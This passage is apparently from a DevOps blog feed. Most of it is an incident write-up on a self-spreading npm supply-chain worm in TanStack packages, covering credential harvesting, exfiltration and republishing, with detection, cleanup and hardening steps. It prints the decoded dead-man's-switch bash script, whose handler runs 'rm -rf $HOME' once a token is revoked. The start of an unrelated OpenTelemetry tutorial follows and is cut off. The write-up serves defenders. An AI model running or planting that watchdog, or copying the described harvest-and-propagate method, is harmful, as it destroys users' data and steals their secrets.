<p>This is what <code>npm pack</code> shows on a confirmed-bad version:</p>
<pre><code class="hljs language-bash">npm pack @tanstack/history@1.161.12   <span class="hljs-comment"># does NOT run install scripts</span>
tar -xzf *.tgz
<span class="hljs-built_in">cat</span> package/package.json | grep -A3 optionalDependencies
<span class="hljs-built_in">ls</span> -la package/router_init.js
</code></pre><p>If <code>router_init.js</code> exists and the <code>optionalDependencies</code> entry points at a <code>tanstack/router#&lt;sha&gt;</code> git ref, that copy is malicious.</p>
<h2 id="h2-what-the-payload-actually-does" class="group relative scroll-mt-24">
        <a href="#h2-what-the-payload-actually-does" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What the payload actually does
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-the-payload-actually-does"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>On a successful install, <code>router_init.js</code> runs three workloads:</p>
<ol>
<li><strong>Credential harvest.</strong> It walks the standard cloud and developer credential locations: AWS IMDS (<code>169.254.169.254</code>) and Secrets Manager, GCP instance metadata, Kubernetes service-account tokens (<code>/var/run/secrets/kubernetes.io/serviceaccount/token</code>), Vault tokens, <code>~/.npmrc</code>, GitHub tokens (from <code>~/.config/gh/hosts.yml</code> and env), and SSH private keys under <code>~/.ssh</code>.</li>
<li><strong>Exfiltration over Session.</strong> The harvested data is uploaded to file endpoints on the Session/Oxen messenger network: <code>filev2.getsession.org</code>, <code>seed{1,2,3}.getsession.org</code>. Session is an end-to-end encrypted dead-drop with no central server the defender can sinkhole, so traditional IOC blocklists do not help here.</li>
<li><strong>Self-propagation.</strong> It queries <code>https://registry.npmjs.org/-/v1/search?text=maintainer:&lt;victim&gt;</code> to enumerate every package the compromised maintainer owns, then republishes each one with the same <code>optionalDependencies</code> injection and the same <code>router_init.js</code> smuggled into the tarball. This is the worm part: every infected maintainer becomes a new vector. Socket counts 200+ packages this way as of writing.</li>
</ol>
<p>This is roughly what makes the incident structurally different from <code>event-stream</code> or <code>colors.js</code>. There is no shady contributor to spot in the PR history. There is no missing 2FA. The compromise happened in the publish pipeline itself, the cryptographic provenance proves the tarball came from the project, and the malicious code does not appear in the package&#39;s source tree because it is fetched at install time from a fork.</p>
<h2 id="h2-the-dead-mans-switch" class="group relative scroll-mt-24">
        <a href="#h2-the-dead-mans-switch" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The dead-man's switch
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-dead-mans-switch"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This is the part of the payload most defenders are not used to thinking about. Before exfiltrating credentials, the script installs a watchdog:</p>
<ul>
<li>On Linux, a <code>systemd --user</code> service under <code>~/.config/systemd/user/</code> that runs <code>~/.local/bin/gh-token-monitor.sh</code>.</li>
<li>On macOS, a LaunchAgent named <code>com.user.gh-token-monitor</code> under <code>~/Library/LaunchAgents/</code>.</li>
</ul>
<p>The script polls the GitHub API every 60 seconds. If the response status starts returning 40x, the handler runs and the script exits.</p>
<p>The decoded script (extracted from the obfuscated <code>router_init.js</code> payload, <a href="https://github.com/TanStack/router/issues/7383#issuecomment-4427502147">thanks to lmt-swallow on the issue thread</a>):</p>
<pre><code class="hljs language-bash"><span class="hljs-meta">#!/usr/bin/env bash</span>
<span class="hljs-built_in">set</span> -euo pipefail

CONFIG_DIR=<span class="hljs-string">&quot;<span class="hljs-variable">${HOME}</span>/.config/gh-token-monitor&quot;</span>
GITHUB_TOKEN=<span class="hljs-string">&quot;<span class="hljs-subst">$(cat <span class="hljs-string">&quot;<span class="hljs-variable">${CONFIG_DIR}</span>/token&quot;</span>)</span>&quot;</span>
HANDLER=<span class="hljs-string">&quot;<span class="hljs-subst">$(cat <span class="hljs-string">&quot;<span class="hljs-variable">${CONFIG_DIR}</span>/handler&quot;</span>)</span>&quot;</span>
STARTED_FILE=<span class="hljs-string">&quot;<span class="hljs-variable">${CONFIG_DIR}</span>/started_at&quot;</span>

MAX_TTL=86400        <span class="hljs-comment"># 24 hours</span>
CHECK_INTERVAL=60    <span class="hljs-comment"># poll every minute</span>

<span class="hljs-keyword">if</span> [[ ! -f <span class="hljs-string">&quot;<span class="hljs-variable">$STARTED_FILE</span>&quot;</span> ]]; <span class="hljs-keyword">then</span>
  <span class="hljs-built_in">date</span> +%s &gt; <span class="hljs-string">&quot;<span class="hljs-variable">$STARTED_FILE</span>&quot;</span>
<span class="hljs-keyword">fi</span>
START_TIME=$(<span class="hljs-built_in">cat</span> <span class="hljs-string">&quot;<span class="hljs-variable">$STARTED_FILE</span>&quot;</span>)

<span class="hljs-keyword">while</span> <span class="hljs-literal">true</span>; <span class="hljs-keyword">do</span>
  ELAPSED=$(( $(date +%s) - START_TIME ))

  <span class="hljs-keyword">if</span> [[ <span class="hljs-variable">$ELAPSED</span> -ge <span class="hljs-variable">$MAX_TTL</span> ]]; <span class="hljs-keyword">then</span>
    <span class="hljs-comment"># 24h reached, give up cleanly so we are not a long-term footprint</span>
    <span class="hljs-built_in">rm</span> -f <span class="hljs-string">&quot;<span class="hljs-variable">$STARTED_FILE</span>&quot;</span>
    <span class="hljs-built_in">exit</span> 0
  <span class="hljs-keyword">fi</span>

  HTTP_STATUS=$(curl -s -o /dev/null -w <span class="hljs-string">&quot;%{http_code}&quot;</span> \
    -H <span class="hljs-string">&quot;Authorization: Bearer <span class="hljs-variable">${GITHUB_TOKEN}</span>&quot;</span> \
    -H <span class="hljs-string">&quot;Accept: application/vnd.github+json&quot;</span> \
    <span class="hljs-string">&quot;https://api.github.com/user&quot;</span>) || <span class="hljs-literal">true</span>

  <span class="hljs-keyword">if</span> [[ <span class="hljs-string">&quot;<span class="hljs-variable">$HTTP_STATUS</span>&quot;</span> =~ ^40[0-9]$ ]]; <span class="hljs-keyword">then</span>
    <span class="hljs-comment"># Token was revoked. Trigger the handler (rm -rf ~/) and exit.</span>
    <span class="hljs-built_in">eval</span> <span class="hljs-string">&quot;<span class="hljs-variable">$HANDLER</span>&quot;</span>
    <span class="hljs-built_in">rm</span> -f <span class="hljs-string">&quot;<span class="hljs-variable">$STARTED_FILE</span>&quot;</span>
    <span class="hljs-built_in">exit</span> 0
  <span class="hljs-keyword">fi</span>

  <span class="hljs-built_in">sleep</span> <span class="hljs-variable">$CHECK_INTERVAL</span>
<span class="hljs-keyword">done</span>
</code></pre><p>The handler stored in <code>${CONFIG_DIR}/handler</code> is <code>rm -rf &quot;$HOME&quot;</code> (or equivalent, since implementations vary by victim build of the payload). The 24-hour TTL is interesting: after 24 hours the script exits on its own, which means there is a narrow window for this to fire. If you are reading this more than a day after the May 11 release window, the dead-man&#39;s switch on a previously infected machine has likely already disarmed itself, but the credential exfiltration and any other persistence mechanisms are still in place.</p>
<p>The takeaway for the operational response is uncomfortable but real: do not start by revoking the GitHub token. First check whether the machine that ran <code>npm install</code> is infected, then disarm the watchdog (delete the systemd user service, the launch agent, and the script), then revoke. If you revoke first on a machine where the watchdog is still running, the next poll within 60 seconds runs <code>rm -rf $HOME</code>.</p>
<h2 id="h2-how-to-check-your-machine" class="group relative scroll-mt-24">
        <a href="#h2-how-to-check-your-machine" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How to check your machine
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-to-check-your-machine"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Run these on any developer workstation or CI runner that installed an affected version on or after May 11, 2026, 19:20 UTC:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Files the payload drops</span>
find ~ -path <span class="hljs-string">&#x27;*/.claude/setup.mjs&#x27;</span> -o -path <span class="hljs-string">&#x27;*/.vscode/setup.mjs&#x27;</span> 2&gt;/dev/null
find ~/.config -name <span class="hljs-string">&#x27;*gh-token-monitor*&#x27;</span> 2&gt;/dev/null
find ~/.local/bin -name <span class="hljs-string">&#x27;gh-token-monitor.sh&#x27;</span> 2&gt;/dev/null
find /tmp -name <span class="hljs-string">&#x27;tmp.ts018051808.lock&#x27;</span> 2&gt;/dev/null

<span class="hljs-comment"># Running processes</span>
ps aux | grep -E <span class="hljs-string">&#x27;tanstack_runner|router_runtime|gh-token-monitor|bun&#x27;</span> | grep -v grep
</code></pre><p>On Linux, also check the systemd user unit:</p>
<pre><code class="hljs language-bash">systemctl --user list-unit-files | grep -i gh-token
systemctl --user status gh-token-monitor.service 2&gt;/dev/null
</code></pre><p>On macOS, also check LaunchAgents:</p>
<pre><code class="hljs language-bash">launchctl list | grep -i gh-token-monitor
<span class="hljs-built_in">ls</span> -la ~/Library/LaunchAgents/ | grep -i gh-token-monitor
</code></pre><p>And look directly at the tarballs in your npm cache for the smuggled <code>router_init.js</code>:</p>
<pre><code class="hljs language-bash">find ~/.npm/_cacache -name <span class="hljs-string">&#x27;tanstack-*.tgz&#x27;</span> -<span class="hljs-built_in">exec</span> sh -c <span class="hljs-string">&#x27;
  for f; do
    if tar -tzf &quot;$f&quot; 2&gt;/dev/null | grep -q &quot;package/router_init.js&quot;; then
      echo &quot;INFECTED: $f&quot;
    fi
  done
&#x27;</span> _ {} +
</code></pre><p>If any of the above returns a hit, treat the machine as compromised and follow the response below before touching tokens.</p>
<h2 id="h2-response-in-order" class="group relative scroll-mt-24">
        <a href="#h2-response-in-order" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Response, in order
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-response-in-order"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ol>
<li><p><strong>Disarm the watchdog before revoking tokens.</strong> Stop the service, delete the script, kill any hanging <code>gh-token-monitor</code> or <code>bun tanstack_runner</code> processes.</p>
<p>Linux:</p>
<pre><code class="hljs language-bash">systemctl --user stop gh-token-monitor.service 2&gt;/dev/null
systemctl --user <span class="hljs-built_in">disable</span> gh-token-monitor.service 2&gt;/dev/null
<span class="hljs-built_in">rm</span> -f ~/.config/systemd/user/gh-token-monitor.service
<span class="hljs-built_in">rm</span> -f ~/.local/bin/gh-token-monitor.sh
<span class="hljs-built_in">rm</span> -rf ~/.config/gh-token-monitor
systemctl --user daemon-reload
pkill -f gh-token-monitor || <span class="hljs-literal">true</span>
pkill -f tanstack_runner || <span class="hljs-literal">true</span>
</code></pre><p>macOS:</p>
<pre><code class="hljs language-bash">launchctl unload ~/Library/LaunchAgents/com.user.gh-token-monitor.plist 2&gt;/dev/null
<span class="hljs-built_in">rm</span> -f ~/Library/LaunchAgents/com.user.gh-token-monitor.plist
<span class="hljs-built_in">rm</span> -f ~/.local/bin/gh-token-monitor.sh
<span class="hljs-built_in">rm</span> -rf ~/.config/gh-token-monitor
pkill -f gh-token-monitor || <span class="hljs-literal">true</span>
pkill -f tanstack_runner || <span class="hljs-literal">true</span>
</code></pre></li>
<li><p><strong>Pin lockfiles back to a known-good version range</strong>, delete <code>node_modules</code> and <code>package-lock.json</code> / <code>bun.lock</code> / <code>yarn.lock</code>, reinstall from scratch on a clean machine.</p>
</li>
<li><p><strong>Rotate everything the payload could have touched</strong> <em>after</em> you have disarmed the watchdog: GitHub tokens (PATs and OAuth app installs), npm tokens, AWS access keys, GCP service-account keys, Vault tokens, SSH keys, <code>~/.npmrc</code> auth lines. If a CI runner installed an affected version, rotate that runner&#39;s IAM role too because the payload pulls IMDS credentials from inside the runner.</p>
</li>
<li><p><strong>Check your npm publish history.</strong> If you maintain other packages on the same machine, the worm may have already republished them. Look at recent publish events on <code>npmjs.com/~&lt;your-user&gt;</code> for tarballs you did not push.</p>
</li>
<li><p><strong>Audit GitHub Actions logs</strong> for any workflow runs that exported the <code>NODE_AUTH_TOKEN</code> or <code>npm_token</code> environment in the last 24 hours. If your publish workflow runs on <code>pull_request</code> from forks, treat the entire publish pipeline as suspect.</p>
</li>
</ol>
<h2 id="h2-why-slsa-provenance-and-2fa-did-not-help" class="group relative scroll-mt-24">
        <a href="#h2-why-slsa-provenance-and-2fa-did-not-help" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why SLSA provenance and 2FA did not help
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-slsa-provenance-and-2fa-did-not-help"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The TanStack team had:</p>
<ul>
<li>Two-factor authentication on every maintainer account.</li>
<li>npm trusted-publisher binding via GitHub Actions OIDC, so npm tokens never live on a maintainer machine.</li>
<li>SLSA build provenance on every published tarball.</li>
</ul>
<p>The malicious versions had all three. They were signed by the real publishing workflow, OIDC-bound to the real GitHub repo, and the provenance cryptographically proves they came out of the TanStack CI environment. To npm and to anyone verifying provenance, the bad versions look 100% legitimate, because in a strict sense they are: they came from the project&#39;s own pipeline. The compromise was earlier in the chain. A workflow file was modified to publish what the attacker wanted, OIDC then minted the publish token, and the audit trail records a clean release.</p>
<p>SLSA provenance answers &quot;did this artifact come from this build pipeline?&quot; It does not answer &quot;did this build pipeline only run code its maintainers wrote?&quot; That gap is exactly where this attack lives, and the difference between this and prior npm worm incidents is that the payload now includes the destructive watchdog, not just credential theft.</p>
<h2 id="h2-hardening-for-next-time" class="group relative scroll-mt-24">
        <a href="#h2-hardening-for-next-time" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Hardening for next time
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-hardening-for-next-time"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><pre><code class="hljs language-text">        Source                Build                Publish
          │                     │                      │
          ▼                     ▼                      ▼
   ┌────────────┐        ┌────────────┐       ┌─────────────┐
   │  Reviewed  │  ───▶  │   CI in    │  ──▶  │ npm registry│
   │   commits  │        │  sandbox   │       │ (SLSA proof)│
   └────────────┘        └────────────┘       └─────────────┘
        ▲                     ▲                      ▲
        │                     │                      │
    branch              isolated runners        publish workflow
    protection +        + pinned action SHAs    on `release`  
    required reviews    + no `pull_request`     events only,
                        from forks               not on `push`
</code></pre><p>The two anti-patterns that matter most for maintainers, because they are the actual entry point in this incident and several recent npm compromises:</p>
<ul>
<li><strong>Do not use <code>pull_request_target</code> for workflows that touch publish secrets.</strong> Unlike plain <code>pull_request</code>, <code>pull_request_target</code> runs in the context of the base branch with full secret access, but checks out the attacker-controlled head SHA. An attacker can open a PR that modifies a workflow file or a build script, the workflow runs with secrets, and you have shipped your npm token to them. If you need fork CI, split into two workflows: a no-secret <code>pull_request</code> build for the fork content, and a separate secret-using workflow that only triggers on <code>release</code> or merged commits in the upstream repo.</li>
<li><strong>Do not share caches between PR builds and publish jobs.</strong> A poisoned <code>~/.npm</code> or <code>node_modules</code> cache from a fork PR run will be restored by the next publish run if both jobs use the same <code>actions/cache</code> key (or the default <code>actions/setup-node</code> cache). That is the path from &quot;attacker opens a draft PR&quot; to &quot;attacker&#39;s code runs at publish time,&quot; and it is exactly what the TanStack post-mortem identified as the entry point. Use different cache keys, or skip the cache on publish workflows entirely.</li>
</ul>
<p>Other concrete actions:</p>
<ul>
<li><strong>Pin every third-party GitHub Action to a commit SHA</strong>, not a tag. Tag references are mutable. The TanStack post-mortem confirms this was part of the hardening they shipped after the incident.</li>
<li><strong>Use <code>npm ci</code> with <code>--ignore-scripts</code> in CI</strong> for anything that does not actually need lifecycle scripts. Library builds usually do not.</li>
<li><strong>Adopt dependency cooldowns.</strong> The malicious window was open for hours. Tools like Renovate, Dependabot grouping, or socket.dev&#39;s <a href="https://socket.dev/">package cooldown rules</a> can hold new versions for 24-72 hours before letting them into your repo, which is enough time for a community-driven detection like this one to land.</li>
<li><strong>Audit <code>optionalDependencies</code></strong> specifically. The clever trick in this attack is that the malicious dependency is technically optional, so its failure does not break installs and does not show up in normal install logs. <code>npm install --dry-run</code> against a confirmed-bad version still shows the <code>tanstack/router#&lt;sha&gt;</code> reference, which is the cleanest signal.</li>
<li><strong>Treat your OIDC trust binding as a high-value secret.</strong> Rotating npm tokens does nothing if the workflow itself is what republishes packages. The TanStack team&#39;s post-mortem explicitly notes this: until the OIDC binding was revoked, the worm could keep publishing.</li>
</ul>
<h2 id="h2-what-we-are-watching" class="group relative scroll-mt-24">
        <a href="#h2-what-we-are-watching" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What we are watching
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-we-are-watching"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A few open threads as of May 12 morning:</p>
<ul>
<li>npm&#39;s takedown timing. Carlini&#39;s report went in within minutes of the publish. The malicious versions were installable for several hours afterward. Socket&#39;s tracker has the cleanest view of the per-package timeline.</li>
<li>Whether the same workflow-injection technique is being reused against other large npm orgs in the next 24 hours. The Nx incident in 2025 saw copy-cat attacks within days.</li>
<li>Long-term persistence. The 24-hour TTL on the dead-man&#39;s switch suggests the attacker did not want a long footprint. Other persistence mechanisms reported in the GitHub thread (<code>*/.claude/setup.mjs</code>, <code>*/.vscode/setup.mjs</code>) have not been fully analyzed yet at time of writing.</li>
</ul>
<h2 id="h2-sources" class="group relative scroll-mt-24">
        <a href="#h2-sources" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Sources
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-sources"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>TanStack GitHub issue with the full technical thread: <a href="https://github.com/TanStack/router/issues/7383">TanStack/router#7383</a></li>
<li>TanStack post-mortem: <a href="https://tanstack.com/blog/npm-supply-chain-compromise-postmortem">tanstack.com/blog/npm-supply-chain-compromise-postmortem</a></li>
<li>Nicholas Carlini&#39;s initial fingerprint and package list: <a href="https://github.com/TanStack/router/issues/7383#issuecomment-4424629798">issue comment</a></li>
<li>Decoded <code>gh-token-monitor.sh</code> script: <a href="https://github.com/TanStack/router/issues/7383#issuecomment-4427502147">issue comment from lmt-swallow</a></li>
<li>Socket running tracker: <a href="https://socket.dev/supply-chain-attacks/mini-shai-hulud">socket.dev/supply-chain-attacks/mini-shai-hulud</a></li>
<li>StepSecurity write-up: <a href="https://www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem">stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem</a></li>
<li>Earlier tweet thread with the dead-man&#39;s switch detail: <a href="https://x.com/intcyberdigest/status/2053983157628596484">@intcyberdigest on X</a></li>
</ul>
<p>Run the detection commands. Disarm before you revoke.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Distributed Tracing with OpenTelemetry: From Instrumentation to Visualization]]></title>
      <link>https://devops-daily.com/posts/distributed-tracing-opentelemetry-instrumentation-visualization</link>
      <description><![CDATA[A walkthrough of instrumenting a real service with OpenTelemetry, running the Collector, and finding the slow span in Jaeger when a request hops across five microservices.]]></description>
      <pubDate>Mon, 11 May 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/distributed-tracing-opentelemetry-instrumentation-visualization</guid>
      <category><![CDATA[DevOps]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[opentelemetry]]></category><category><![CDATA[distributed-tracing]]></category><category><![CDATA[observability]]></category><category><![CDATA[devops]]></category><category><![CDATA[jaeger]]></category><category><![CDATA[monitoring]]></category>
      <content:encoded><![CDATA[<p>A customer complains the checkout page is slow. You check the frontend logs. Nothing useful. You check the API gateway logs. The request took 4.2 seconds. You check the order service. It says the request took 180 milliseconds. You check the payment service. It says it never received the request. You check the database. Everything looks fine.</p>
<p>Now you have a problem. The 4 seconds happened somewhere between the gateway and the order service, but you have five services, two message queues, and a Redis cache in that path. Logs alone will not save you here.</p>
<p>This is what distributed tracing fixes. Instead of stitching together unrelated log lines, you get one timeline that follows a single request through every service it touches. OpenTelemetry is the vendor-neutral way to produce those traces. This post walks through instrumenting a Python service, running the OpenTelemetry Collector, and getting traces into Jaeger so you can actually see where the time went.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Install the OpenTelemetry SDK and auto-instrumentation for your framework.</li>
<li>Set <code>OTEL_EXPORTER_OTLP_ENDPOINT</code> to point at a Collector.</li>
<li>Run the Collector with an OTLP receiver and a Jaeger or Tempo exporter.</li>
<li>Open Jaeger, find the trace, and read the timeline. The fat span is the problem.</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Python 3.10+ or Node.js 18+ (the examples use Python with Flask, the concepts translate)</li>
<li>Docker and Docker Compose</li>
<li>A basic microservice you can poke at, or follow along with the demo below</li>
<li>Port 4317 (OTLP gRPC), 4318 (OTLP HTTP), and 16686 (Jaeger UI) free locally</li>
</ul>
<h2 id="h2-what-a-trace-actually-is" class="group relative scroll-mt-24">
        <a href="#h2-what-a-trace-actually-is" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What a Trace Actually Is
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-a-trace-actually-is"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A <strong>trace</strong> is a tree of <strong>spans</strong>. A span is one unit of work with a start time, duration, attributes, and a parent. Every span in a trace shares a trace ID. The root span is the first thing that received the request. Every child span sits underneath it.</p>
<pre><code class="hljs language-text">Trace abc123 (4.2s)
├── gateway: POST /checkout         [4.2s]
│   ├── auth: validate-token        [12ms]
│   └── orders: create-order        [4.1s]   &lt;-- where the time went
│       ├── db: INSERT orders       [8ms]
│       └── payments: charge-card   [4.0s]   &lt;-- and here
│           └── http: stripe API    [3.9s]   &lt;-- the real culprit
</code></pre><p>That right column is what you need. Logs cannot tell you that 3.9 seconds of a 4.2-second request was waiting on the Stripe API. A trace can.</p>
<h2 id="h2-step-1-instrument-a-python-service" class="group relative scroll-mt-24">
        <a href="#h2-step-1-instrument-a-python-service" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 1: Instrument a Python Service
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-1-instrument-a-python-service"
        >
